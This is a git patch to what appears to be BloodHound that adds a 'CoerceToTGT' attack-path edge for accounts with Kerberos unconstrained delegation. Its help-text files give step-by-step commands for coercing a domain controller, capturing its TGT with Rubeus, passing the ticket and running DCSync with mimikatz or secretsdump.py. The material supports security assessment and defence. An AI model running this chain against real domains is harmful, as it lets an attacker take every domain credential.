From a3450eca934ab8e360d1acc2d5fc474d36efec20 Mon Sep 17 00:00:00 2001 From: jknudsen Date: Mon, 14 Oct 2024 16:15:53 +0200 Subject: [PATCH] feat: CoerceToTGT edge --- packages/cue/bh/ad/ad.cue | 7 ++ .../go/cypher/test/cases/positive_tests.json | 2 +- packages/go/ein/ad.go | 46 +++++++- packages/go/graphschema/ad/ad.go | 5 +- .../HelpTexts/CoerceToTGT/CoerceToTGT.tsx | 31 ++++++ .../HelpTexts/CoerceToTGT/General.tsx | 44 ++++++++ .../HelpTexts/CoerceToTGT/LinuxAbuse.tsx | 105 ++++++++++++++++++ .../HelpTexts/CoerceToTGT/Opsec.tsx | 24 ++++ .../HelpTexts/CoerceToTGT/References.tsx | 88 +++++++++++++++ .../HelpTexts/CoerceToTGT/WindowsAbuse.tsx | 100 +++++++++++++++++ .../src/components/HelpTexts/index.tsx | 2 + .../bh-shared-ui/src/graphSchema.ts | 4 + .../views/Explore/ExploreSearch/edgeTypes.tsx | 1 + 13 files changed, 455 insertions(+), 4 deletions(-) create mode 100644 packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/CoerceToTGT.tsx create mode 100644 packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/General.tsx create mode 100644 packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/LinuxAbuse.tsx create mode 100644 packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/Opsec.tsx create mode 100644 packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/References.tsx create mode 100644 packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/WindowsAbuse.tsx diff --git a/packages/cue/bh/ad/ad.cue b/packages/cue/bh/ad/ad.cue index 4ba6091a2..00a0cbfaa 100644 --- a/packages/cue/bh/ad/ad.cue +++ b/packages/cue/bh/ad/ad.cue @@ -1018,6 +1018,11 @@ AllowedToDelegate: types.#Kind & { schema: "active_directory" } +CoerceToTGT: types.#Kind & { + symbol: "CoerceToTGT" + schema: "active_directory" +} + GetChanges: types.#Kind & { symbol: "GetChanges" schema: "active_directory" @@ -1308,6 +1313,7 @@ RelationshipKinds: [ Contains, GPLink, AllowedToDelegate, + CoerceToTGT, GetChanges, GetChangesAll, GetChangesInFilteredSet, @@ -1411,6 +1417,7 @@ PathfindingRelationships: [ Contains, GPLink, AllowedToDelegate, + CoerceToTGT, TrustedBy, AllowedToAct, AdminTo, diff --git a/packages/go/cypher/test/cases/positive_tests.json b/packages/go/cypher/test/cases/positive_tests.json index e1f6c7aef..f48f47dfb 100644 --- a/packages/go/cypher/test/cases/positive_tests.json +++ b/packages/go/cypher/test/cases/positive_tests.json @@ -709,7 +709,7 @@ "name": "Find Dangerous Privileges for Domain Users Groups", "type": "string_match", "details": { - "query": "match p = (m:Group)-[:Owns|GenericAll|GenericWrite|WriteOwner|WriteDacl|MemberOf|ForceChangePassword|AllExtendedRights|AddMember|HasSession|Contains|GPLink|AllowedToDelegate|TrustedBy|AllowedToAct|AdminTo|CanPSRemote|CanRDP|ExecuteDCOM|HasSIDHistory|AddSelf|DCSync|ReadLAPSPassword|ReadGMSAPassword|DumpSMSAPassword|SQLAdmin|AddAllowedToAct|WriteSPN|AddKeyCredentialLink|SyncLAPSPassword|WriteAccountRestrictions|GoldenCert|ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC5|ADCSESC6a|ADCSESC6b|ADCSESC7|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13|DCFor|SyncedToEntraUser]->(n:Base) where m.objectid ends with '-513' return p", + "query": "match p = (m:Group)-[:Owns|GenericAll|GenericWrite|WriteOwner|WriteDacl|MemberOf|ForceChangePassword|AllExtendedRights|AddMember|HasSession|Contains|GPLink|AllowedToDelegate|CoerceToTGT|TrustedBy|AllowedToAct|AdminTo|CanPSRemote|CanRDP|ExecuteDCOM|HasSIDHistory|AddSelf|DCSync|ReadLAPSPassword|ReadGMSAPassword|DumpSMSAPassword|SQLAdmin|AddAllowedToAct|WriteSPN|AddKeyCredentialLink|SyncLAPSPassword|WriteAccountRestrictions|GoldenCert|ADCSESC1|ADCSESC3|ADCSESC4|ADCSESC5|ADCSESC6a|ADCSESC6b|ADCSESC7|ADCSESC9a|ADCSESC9b|ADCSESC10a|ADCSESC10b|ADCSESC13|DCFor|SyncedToEntraUser]->(n:Base) where m.objectid ends with '-513' return p", "complexity": 3 } }, diff --git a/packages/go/ein/ad.go b/packages/go/ein/ad.go index 48a0205d3..f80da8fea 100644 --- a/packages/go/ein/ad.go +++ b/packages/go/ein/ad.go @@ -235,6 +235,28 @@ func ParseUserMiscData(user User) []IngestibleRelationship { )) } + // CoerceToTGT / unconstrained delegation + uncondel, bool := user.Properties[strings.ToLower(ad.UnconstrainedDelegation.String())].(bool) + if bool && uncondel { + domainsid, str := user.Properties[strings.ToLower(ad.DomainSID.String())].(string) + if str { + data = append(data, NewIngestibleRelationship( + IngestibleSource{ + Source: user.ObjectIdentifier, + SourceType: ad.User, + }, + IngestibleTarget{ + Target: domainsid, + TargetType: ad.Domain, + }, + IngestibleRel{ + RelProps: map[string]any{"isacl": false}, + RelType: ad.CoerceToTGT, + }, + )) + } + } + return data } @@ -341,7 +363,7 @@ func ParseDomainTrusts(domain Domain) ParsedDomainTrustData { return parsedData } -// ParseComputerMiscData parses AllowedToDelegate, AllowedToAct, HasSIDHistory,DumpSMSAPassword,DCFor and Sessions +// ParseComputerMiscData parses AllowedToDelegate, AllowedToAct, HasSIDHistory, DumpSMSAPassword, DCFor, Sessions, and CoerceToTGT func ParseComputerMiscData(computer Computer) []IngestibleRelationship { relationships := make([]IngestibleRelationship, 0) for _, target := range computer.AllowedToDelegate { @@ -484,6 +506,28 @@ func ParseComputerMiscData(computer Computer) []IngestibleRelationship { RelType: ad.DCFor, }, )) + } else { // We do not want CoerceToTGT edges from DCs + uncondel, bool := computer.Properties[strings.ToLower(ad.UnconstrainedDelegation.String())].(bool) + if bool && uncondel { + domainsid, str := computer.Properties[strings.ToLower(ad.DomainSID.String())].(string) + if str { + relationships = append(relationships, NewIngestibleRelationship( + IngestibleSource{ + Source: computer.ObjectIdentifier, + SourceType: ad.Computer, + }, + IngestibleTarget{ + Target: domainsid, + TargetType: ad.Domain, + }, + IngestibleRel{ + RelProps: map[string]any{"isacl": false}, + RelType: ad.CoerceToTGT, + }, + )) + } + } + } return relationships diff --git a/packages/go/graphschema/ad/ad.go b/packages/go/graphschema/ad/ad.go index 27e38f0da..c3f7a33a8 100644 --- a/packages/go/graphschema/ad/ad.go +++ b/packages/go/graphschema/ad/ad.go @@ -54,6 +54,7 @@ var ( Contains = graph.StringKind("Contains") GPLink = graph.StringKind("GPLink") AllowedToDelegate = graph.StringKind("AllowedToDelegate") + CoerceToTGT = graph.StringKind("CoerceToTGT") GetChanges = graph.StringKind("GetChanges") GetChangesAll = graph.StringKind("GetChangesAll") GetChangesInFilteredSet = graph.StringKind("GetChangesInFilteredSet") @@ -857,13 +858,13 @@ func Nodes() []graph.Kind { return []graph.Kind{Entity, User, Computer, Group, GPO, OU, Container, Domain, LocalGroup, LocalUser, AIACA, RootCA, EnterpriseCA, NTAuthStore, CertTemplate, IssuancePolicy} } func Relationships() []graph.Kind { - return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, Contains, GPLink, AllowedToDelegate, GetChanges, GetChangesAll, GetChangesInFilteredSet, TrustedBy, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, LocalToComputer, MemberOfLocalGroup, RemoteInteractiveLogonPrivilege, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, RootCAFor, DCFor, PublishedTo, ManageCertificates, ManageCA, DelegatedEnrollmentAgent, Enroll, HostsCAService, WritePKIEnrollmentFlag, WritePKINameFlag, NTAuthStoreFor, TrustedForNTAuth, EnterpriseCAFor, IssuedSignedBy, GoldenCert, EnrollOnBehalfOf, OIDGroupLink, ExtendedByPolicy, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC5, ADCSESC6a, ADCSESC6b, ADCSESC7, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, SyncedToEntraUser} + return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, Contains, GPLink, AllowedToDelegate, CoerceToTGT, GetChanges, GetChangesAll, GetChangesInFilteredSet, TrustedBy, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, LocalToComputer, MemberOfLocalGroup, RemoteInteractiveLogonPrivilege, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, RootCAFor, DCFor, PublishedTo, ManageCertificates, ManageCA, DelegatedEnrollmentAgent, Enroll, HostsCAService, WritePKIEnrollmentFlag, WritePKINameFlag, NTAuthStoreFor, TrustedForNTAuth, EnterpriseCAFor, IssuedSignedBy, GoldenCert, EnrollOnBehalfOf, OIDGroupLink, ExtendedByPolicy, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC5, ADCSESC6a, ADCSESC6b, ADCSESC7, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, SyncedToEntraUser} } func ACLRelationships() []graph.Kind { return []graph.Kind{AllExtendedRights, ForceChangePassword, AddMember, AddAllowedToAct, GenericAll, WriteDACL, WriteOwner, GenericWrite, ReadLAPSPassword, ReadGMSAPassword, Owns, AddSelf, WriteSPN, AddKeyCredentialLink, GetChanges, GetChangesAll, GetChangesInFilteredSet, WriteAccountRestrictions, WriteGPLink, SyncLAPSPassword, DCSync, ManageCertificates, ManageCA, Enroll, WritePKIEnrollmentFlag, WritePKINameFlag} } func PathfindingRelationships() []graph.Kind { - return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, Contains, GPLink, AllowedToDelegate, TrustedBy, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, GoldenCert, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC5, ADCSESC6a, ADCSESC6b, ADCSESC7, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, DCFor, SyncedToEntraUser} + return []graph.Kind{Owns, GenericAll, GenericWrite, WriteOwner, WriteDACL, MemberOf, ForceChangePassword, AllExtendedRights, AddMember, HasSession, Contains, GPLink, AllowedToDelegate, CoerceToTGT, TrustedBy, AllowedToAct, AdminTo, CanPSRemote, CanRDP, ExecuteDCOM, HasSIDHistory, AddSelf, DCSync, ReadLAPSPassword, ReadGMSAPassword, DumpSMSAPassword, SQLAdmin, AddAllowedToAct, WriteSPN, AddKeyCredentialLink, SyncLAPSPassword, WriteAccountRestrictions, WriteGPLink, GoldenCert, ADCSESC1, ADCSESC3, ADCSESC4, ADCSESC5, ADCSESC6a, ADCSESC6b, ADCSESC7, ADCSESC9a, ADCSESC9b, ADCSESC10a, ADCSESC10b, ADCSESC13, DCFor, SyncedToEntraUser} } func IsACLKind(s graph.Kind) bool { for _, acl := range ACLRelationships() { diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/CoerceToTGT.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/CoerceToTGT.tsx new file mode 100644 index 000000000..f9a855323 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/CoerceToTGT.tsx @@ -0,0 +1,31 @@ +// Copyright 2023 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import General from './General'; +import WindowsAbuse from './WindowsAbuse'; +import LinuxAbuse from './LinuxAbuse'; +import Opsec from './Opsec'; +import References from './References'; + +const CoerceToTGT = { + general: General, + windowsAbuse: WindowsAbuse, + linuxAbuse: LinuxAbuse, + opsec: Opsec, + references: References, +}; + +export default CoerceToTGT; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/General.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/General.tsx new file mode 100644 index 000000000..cc822c1c9 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/General.tsx @@ -0,0 +1,44 @@ +// Copyright 2023 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { FC } from 'react'; +import { typeFormat } from '../utils'; +import { EdgeInfoProps } from '../index'; +import { Typography } from '@mui/material'; + +const General: FC = ({ sourceName, sourceType }) => { + return ( + <> + + The {typeFormat(sourceType)} {sourceName} is configured with Kerberos unconstrained delegation. + + + + Users and computers authenticating against {sourceName} will have their Kerberos TGT sent to{' '} + {sourceName}, unless they are marked as sensitive or members of Protected Users. + + + + An attacker with control over {sourceName} can coerce a Tier Zero computer (e.g. DC) to authenticate + against {sourceName} and obtain the target's TGT. With the TGT of a DC, the attacker can perform DCSync + to compromise the domain. Alternatively, the TGT can be used to obtain admin access to the target host + with a shadow credentials + silver ticket attack or a resource-based constrained delegation attack. + + + ); +}; + +export default General; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/LinuxAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/LinuxAbuse.tsx new file mode 100644 index 000000000..a63611bae --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/LinuxAbuse.tsx @@ -0,0 +1,105 @@ +// Copyright 2023 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { FC } from 'react'; +import { Typography } from '@mui/material'; +import { EdgeInfoProps } from '../index'; +import CodeController from '../CodeController/CodeController'; + +const LinuxAbuse: FC = ({ sourceName, sourceType }) => { + const intro = ( + <> + + A common way for attackers to abuse unconstrained delegation is for the attacker to coerce a DC using + the printspooler. + + + The attack will fail if the target is a member of Protected Users or marked as sensitive, as the TGT of + those principals will not be sent to the principal with unconstrained delegation. You can find all the + protected principals with this Cypher query: + + + {`MATCH (g:Group) + WHERE g.objectid ENDS WITH "-525" + MATCH (n:Base) + WHERE n.sensitive = TRUE OR (n)-[:MemberOf*..]->(g) + RETURN n + LIMIT 1000`} + + + There are many other coercion techniques than printspooler that can be used (see References). + + + ); + + if (sourceType == 'Computer') { + return ( + <> + {intro} + Step 1: Start monitoring for TGTs + + This step cannot be performed from Linux as we are abusing unconstrained delegation on a given AD + computer, which is likely a Windows computer. + + + Log in on the {sourceName} computer configured with unconstrained delegation and open CMD as + Administrator. + + Start monitoring for incoming TGTs using Rubeus: + + {'Rubeus.exe request monitor /user:targetdc.domain.local /interval:5 /nowrap'} + + + Step 2: Coerce target DC + + Coerce the target DC using printerbug.py with the credentials of any AD user: + + + {"printerbug.py '/:'@ "} + + Rubeus will print the DC TGT as it is received. + + Step 3: Pass the Ticket + Save the TGT base64 blob as a .kirbi file: + + {'echo "doIFvjCCBbqgAwI..." | base64 -d | tee ticket.kirbi > /dev/null'} + + Convert the TGT to ccache format using ticketConverter.py: + {'ticketConverter.py ticket.kirbi ticket.ccache'} + Set the KRB5CCNAME environment variable to the ticket's path: + {'export KRB5CCNAME=$path_to_ticket.ccache'} + + Step 4: DCSync target domain + Use secretsdump.py to DCSync the target domain: + + {'secretsdump.py -k -just-dc-user '} + + + ); + } else { + return ( + <> + {intro} + + See 'Abusing Users Configured with Unconstrained Delegation' under References for details on the + execution. + + + ); + } +}; + +export default LinuxAbuse; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/Opsec.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/Opsec.tsx new file mode 100644 index 000000000..62e5160cb --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/Opsec.tsx @@ -0,0 +1,24 @@ +// Copyright 2023 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { FC } from 'react'; +import { Typography } from '@mui/material'; + +const Opsec: FC = () => { + return There is no opsec information for this edge.; +}; + +export default Opsec; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/References.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/References.tsx new file mode 100644 index 000000000..3d6caf32b --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/References.tsx @@ -0,0 +1,88 @@ +// Copyright 2023 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { FC } from 'react'; +import { Link, Box } from '@mui/material'; + +const References: FC = () => { + return ( + + + Not A Security Boundary: Breaking Forest Trusts + +
+ + Hunting in Active Directory: Unconstrained Delegation & Forests Trusts + +
+ + Abusing Users Configured with Unconstrained Delegation + +
+ + (RBCD) Resource-based constrained + +
+ + Windows Coerced Authentication Methods + +
+ + Rubeus + +
+ + SpoolSample + +
+ + mimikatz + +
+ + printerbug.py + +
+ + ticketConverter.py + +
+ + secretsdump.py + +
+ ); +}; + +export default References; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/WindowsAbuse.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/WindowsAbuse.tsx new file mode 100644 index 000000000..5dcb16e61 --- /dev/null +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/CoerceToTGT/WindowsAbuse.tsx @@ -0,0 +1,100 @@ +// Copyright 2023 Specter Ops, Inc. +// +// Licensed under the Apache License, Version 2.0 +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +// SPDX-License-Identifier: Apache-2.0 + +import { FC } from 'react'; +import { Typography } from '@mui/material'; +import { EdgeInfoProps } from '../index'; +import CodeController from '../CodeController/CodeController'; + +const WindowsAbuse: FC = ({ sourceName, sourceType }) => { + const intro = ( + <> + + A common way for attackers to abuse unconstrained delegation is for the attacker to coerce a DC using + the printspooler. + + + The attack will fail if the target is a member of Protected Users or marked as sensitive, as the TGT of + those principals will not be sent to the principal with unconstrained delegation. You can find all the + protected principals with this Cypher query: + + + {`MATCH (g:Group) + WHERE g.objectid ENDS WITH "-525" + MATCH (n:Base) + WHERE n.sensitive = TRUE OR (n)-[:MemberOf*..]->(g) + RETURN n + LIMIT 1000`} + + + There are many other coercion techniques than printspooler that can be used (see References). + + + ); + + if (sourceType == 'Computer') { + return ( + <> + {intro} + Step 1: Start monitoring for TGTs + + Log in on the {sourceName} computer configured with unconstrained delegation and open CMD as + Administrator. + + Start monitoring for incoming TGTs using Rubeus: + + {'Rubeus.exe request monitor /user:targetdc.domain.local /interval:5 /nowrap'} + + + Step 2: Coerce target DC + + From any host in the domain, coerce the target DC using SpoolSample: + + + {'SpoolSample.exe targetdc.domain.local uncondel.domain.local'} + + Rubeus will print the DC TGT as it is received. + + + Step 3: Pass the Ticket + + Inject the DC TGT into memory using Rubeus on any computer in the domain: + + {'Rubeus.exe ptt /ticket:doIFvjCCBbqgAwI...'} + + Step 4: DCSync target domain + + Use mimikatz to DCSync the domain from the computer where the DC TGT was injected: + + + {'lsadump::dcsync /domain:domain.local /user:DOMAIN\\Administrator'} + + + ); + } else { + return ( + <> + {intro} + + See 'Abusing Users Configured with Unconstrained Delegation' under References for details on the + execution. + + + ); + } +}; + +export default WindowsAbuse; diff --git a/packages/javascript/bh-shared-ui/src/components/HelpTexts/index.tsx b/packages/javascript/bh-shared-ui/src/components/HelpTexts/index.tsx index 299ce6ff1..1b0fe09bf 100644 --- a/packages/javascript/bh-shared-ui/src/components/HelpTexts/index.tsx +++ b/packages/javascript/bh-shared-ui/src/components/HelpTexts/index.tsx @@ -66,6 +66,7 @@ import AllowedToAct from './AllowedToAct/AllowedToAct'; import AllowedToDelegate from './AllowedToDelegate/AllowedToDelegate'; import CanPSRemote from './CanPSRemote/CanPSRemote'; import CanRDP from './CanRDP/CanRDP'; +import CoerceToTGT from './CoerceToTGT/CoerceToTGT'; import Contains from './Contains/Contains'; import DCSync from './DCSync/DCSync'; import DCFor from './DCFor/DCFor'; @@ -146,6 +147,7 @@ const EdgeInfoComponents = { CanRDP: CanRDP, ExecuteDCOM: ExecuteDCOM, AllowedToDelegate: AllowedToDelegate, + CoerceToTGT: CoerceToTGT, GetChanges: GetChanges, GetChangesAll: GetChangesAll, ReadLAPSPassword: ReadLAPSPassword, diff --git a/packages/javascript/bh-shared-ui/src/graphSchema.ts b/packages/javascript/bh-shared-ui/src/graphSchema.ts index ec571e522..701db766f 100644 --- a/packages/javascript/bh-shared-ui/src/graphSchema.ts +++ b/packages/javascript/bh-shared-ui/src/graphSchema.ts @@ -84,6 +84,7 @@ export enum ActiveDirectoryRelationshipKind { Contains = 'Contains', GPLink = 'GPLink', AllowedToDelegate = 'AllowedToDelegate', + CoerceToTGT = 'CoerceToTGT', GetChanges = 'GetChanges', GetChangesAll = 'GetChangesAll', GetChangesInFilteredSet = 'GetChangesInFilteredSet', @@ -169,6 +170,8 @@ export function ActiveDirectoryRelationshipKindToDisplay(value: ActiveDirectoryR return 'GPLink'; case ActiveDirectoryRelationshipKind.AllowedToDelegate: return 'AllowedToDelegate'; + case ActiveDirectoryRelationshipKind.CoerceToTGT: + return 'CoerceToTGT'; case ActiveDirectoryRelationshipKind.GetChanges: return 'GetChanges'; case ActiveDirectoryRelationshipKind.GetChangesAll: @@ -625,6 +628,7 @@ export function ActiveDirectoryPathfindingEdges(): ActiveDirectoryRelationshipKi ActiveDirectoryRelationshipKind.Contains, ActiveDirectoryRelationshipKind.GPLink, ActiveDirectoryRelationshipKind.AllowedToDelegate, + ActiveDirectoryRelationshipKind.CoerceToTGT, ActiveDirectoryRelationshipKind.TrustedBy, ActiveDirectoryRelationshipKind.AllowedToAct, ActiveDirectoryRelationshipKind.AdminTo, diff --git a/packages/javascript/bh-shared-ui/src/views/Explore/ExploreSearch/edgeTypes.tsx b/packages/javascript/bh-shared-ui/src/views/Explore/ExploreSearch/edgeTypes.tsx index cd219576b..33bf0ca6d 100644 --- a/packages/javascript/bh-shared-ui/src/views/Explore/ExploreSearch/edgeTypes.tsx +++ b/packages/javascript/bh-shared-ui/src/views/Explore/ExploreSearch/edgeTypes.tsx @@ -62,6 +62,7 @@ export const AllEdgeTypes: Category[] = [ { name: 'Credential Access', edgeTypes: [ + ActiveDirectoryRelationshipKind.CoerceToTGT, ActiveDirectoryRelationshipKind.DCSync, ActiveDirectoryRelationshipKind.DumpSMSAPassword, ActiveDirectoryRelationshipKind.HasSession,